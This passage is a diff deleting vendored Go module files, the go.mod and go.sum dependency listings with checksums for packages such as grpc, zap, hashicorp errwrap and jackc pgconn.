github.com/golang/protobuf v1.3.3
github.com/opentracing/opentracing-go v1.1.0
github.com/pkg/errors v0.8.1 // indirect
github.com/sirupsen/logrus v1.4.2
github.com/stretchr/testify v1.4.0
go.uber.org/atomic v1.4.0 // indirect
go.uber.org/multierr v1.1.0 // indirect
go.uber.org/zap v1.10.0
golang.org/x/exp v0.0.0-20200331195152-e8c3332aa8e5 // indirect
golang.org/x/net v0.0.0-20200421231249-e086a090c8fd
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be
golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f // indirect
golang.org/x/text v0.3.2 // indirect
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215 // indirect
google.golang.org/grpc v1.29.1
)
go 1.14
-140
View File
@@ -1,140 +0,0 @@
cloud.google.com/go v0.26.0 h1:e0WKqKTd5BnrG8aKH3J3h+QvEIQtSUcf2n5UZ5ZgLtQ=
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-kit/kit v0.9.0 h1:wDJmvq38kDhkVxi50ni9ykkdUr1PKgqKOoi01fa0Mdk=
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-logfmt/logfmt v0.4.0 h1:MP4Eh7ZCb31lleYCFuwm0oe4/YGak+5l1vA2NOE80nA=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-stack/stack v1.8.0 h1:5SgMzNM5HxrEjV0ww2lTmX6E2Izsfxas4+YHWRs3Lsk=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gogo/protobuf v1.2.1 h1:/s5zKNz0uPFCZ5hddgPdo2TK2TVrUNMn0OOX8/aZMTE=
github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/protobuf v1.2.0 h1:P3YflyNX/ehuJFLhxviNdFxQPkGK5cDcApsge1SqnvM=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2 h1:6nsPYzhq5kReh6QImI3k5qWzO4PEbvbIW2cwSfR/6xs=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.3 h1:gyjaxf+svBWX08ZjK86iN9geUJF0H6gp2IRKX6Nf6/I=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/google/go-cmp v0.2.0 h1:+dTQ8DZQJz0Mb/HjFlkptS1FeQ4cWSnN941F8aEG4SQ=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/konsorten/go-windows-terminal-sequences v1.0.1 h1:mweAR1A6xJ3oS2pRaGiHgQ4OO8tzTaLawm8vnODuwDk=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515 h1:T+h1c/A9Gawja4Y9mFVWj2vyii2bbUNDw3kt9VxK2EY=
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
github.com/opentracing/opentracing-go v1.1.0 h1:pWlfV3Bxv7k65HYwkikxat0+s3pV4bsqf19k25Ur8rU=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/sirupsen/logrus v1.4.2 h1:SPIRibHv4MatM3XXNO2BJeFLZwZ2LvZgfQ5+UNI2im4=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.4.0 h1:2E4SXV/wtOkTonXsotYi4li6zVWxYlZuYNCXe9XRJyk=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
go.uber.org/atomic v1.4.0 h1:cxzIVoETapQEqDhQu3QfnvXAV4AlzcvUCxkVUFw3+EU=
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/multierr v1.1.0 h1:HoEmRHQPVSqub6w2z2d2EOVs2fjyFRGyofhKuyDq0QI=
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
go.uber.org/zap v1.10.0 h1:ORx85nbTijNz8ljznvCMR1ZBIPKFn3jQrag10X2AsuM=
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4 h1:c2HOrn5iMezYjSlGPncknSEr/8x5LELb/ilJbXi9DEA=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20200331195152-e8c3332aa8e5 h1:FR+oGxGfbQu1d+jglI3rCkjAjUnhRSZcUxr+DqlDLNo=
golang.org/x/exp v0.0.0-20200331195152-e8c3332aa8e5/go.mod h1:4M0jN8W1tt0AVLNr8HDosyJCDCDuyL9N9+3m7wDWgKw=
golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b h1:GgiSbuUyC0BlbUmHQBgFqu32eiRR/CEYdjOjOd4zE6Y=
golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a h1:oWX7TPOiFAMXLq8o0ikBYfCJVlRHBcsciT5bXOrH628=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200421231249-e086a090c8fd h1:QPwSajcTUrFriMF1nJ3XzgoqakqQEsnZf9LdXdi2nkI=
golang.org/x/net v0.0.0-20200421231249-e086a090c8fd/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be h1:vEDujvNQGv4jgYKudGeI/+DAX4Jffq6hpD55MmoEvKs=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a h1:1BGLXjeY4akVXGgbC9HugT3Jv3hCI0z56oJR5vAMgBU=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190422165155-953cdadca894 h1:Cz4ceDQGXuKRnVBDTS23GTn/pU5OE2C0WrNTOYK1Uuc=
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f h1:gWF768j/LaZugp8dyS4UwsslYCYz9XgFxvlgsn0n9H8=
golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa h1:5E4dL8+NgFOgjwbTKz+OOEGGhP+ectTmF842l6KjupQ=
golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898 h1:/atklqdjdhuosWIl6AIbOeHJjicWYPqR9bpxqxYG2pA=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/appengine v1.1.0 h1:igQkv0AAhEIvTEpD5LIpAfav2eeVO9HBTjvKHVJPRSs=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0 h1:/wp5JvzpHIxhs/dumFmF7BXTf3Z+dd4uXta4kVyO508=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8 h1:Nw54tB0rB7hY/N0NQvRW8DG4Yk3Q6T9cu9RcFQDu1tc=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55 h1:gSJIx1SDwno+2ElGhA4+qG2zF97qiUzTM+rQ0klBOcE=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215 h1:0Uz5jLJQioKgVozXa1gzGbzYxbb/rhQEVvSWxzw5oUs=
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/grpc v1.19.0 h1:cfg4PD8YEdSFnm7qLV4++93WcmhH2nIUhMjhdCvl3j8=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.29.1 h1:EC2SB8S04d2r73uptxphDSUG+kTKVgjRPF+N3xpxRB4=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-1
View File
@@ -1 +0,0 @@
module github.com/hashicorp/errwrap
-5
View File
@@ -1,5 +0,0 @@
module github.com/hashicorp/go-multierror
go 1.13
require github.com/hashicorp/errwrap v1.0.0
-2
View File
@@ -1,2 +0,0 @@
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
-3
View File
@@ -1,3 +0,0 @@
module github.com/jackc/chunkreader/v2
go 1.12
-16
View File
@@ -1,16 +0,0 @@
module github.com/jackc/pgconn
go 1.12
require (
github.com/jackc/chunkreader/v2 v2.0.1
github.com/jackc/pgio v1.0.0
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2
github.com/jackc/pgpassfile v1.0.0
github.com/jackc/pgproto3/v2 v2.0.5
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b
github.com/stretchr/testify v1.5.1
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9
golang.org/x/text v0.3.3
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7
)
-129
View File
@@ -1,129 +0,0 @@
github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ=
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0=
github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
github.com/jackc/chunkreader/v2 v2.0.0 h1:DUwgMQuuPnS0rhMXenUtZpqZqrR/30NWY+qQvTpSvEs=
github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=
github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=
github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=
github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=
github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=
github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2 h1:JVX6jT/XfzNqIjye4717ITLaNwV9mWbJx0dLCpcRzdA=
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A=
github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=
github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29 h1:f2HwOeI1NIJyNFVVeh1gUISyt57iw/fmI/IXJfH3ATE=
github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
github.com/jackc/pgproto3/v2 v2.0.1 h1:Rdjp4NFjwHnEslx2b66FfCI2S0LhO4itac3hXz6WX9M=
github.com/jackc/pgproto3/v2 v2.0.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.0.2 h1:q1Hsy66zh4vuNsajBUF2PNqfAMMfxU5mk594lPE9vjY=
github.com/jackc/pgproto3/v2 v2.0.2/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.0.3 h1:2S4PhE00mvdvaSiCYR1ZCmR1NAxeYfTSsqqSKxE1vzo=
github.com/jackc/pgproto3/v2 v2.0.3/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.0.4 h1:RHkX5ZUD9bl/kn0f9dYUWs1N7Nwvo1wwUYvKiR26Zco=
github.com/jackc/pgproto3/v2 v2.0.4/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgproto3/v2 v2.0.5 h1:NUbEWPmCQZbMmYlTjVoNPhc0CfnYyz2bfUAh6A5ZVJM=
github.com/jackc/pgproto3/v2 v2.0.5/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
github.com/jackc/pgservicefile v0.0.0-20200307190119-3430c5407db8 h1:Q3tB+ExeflWUW7AFcAhXqk40s9mnNYLk1nOkKNZ5GnU=
github.com/jackc/pgservicefile v0.0.0-20200307190119-3430c5407db8/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg=
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=
github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
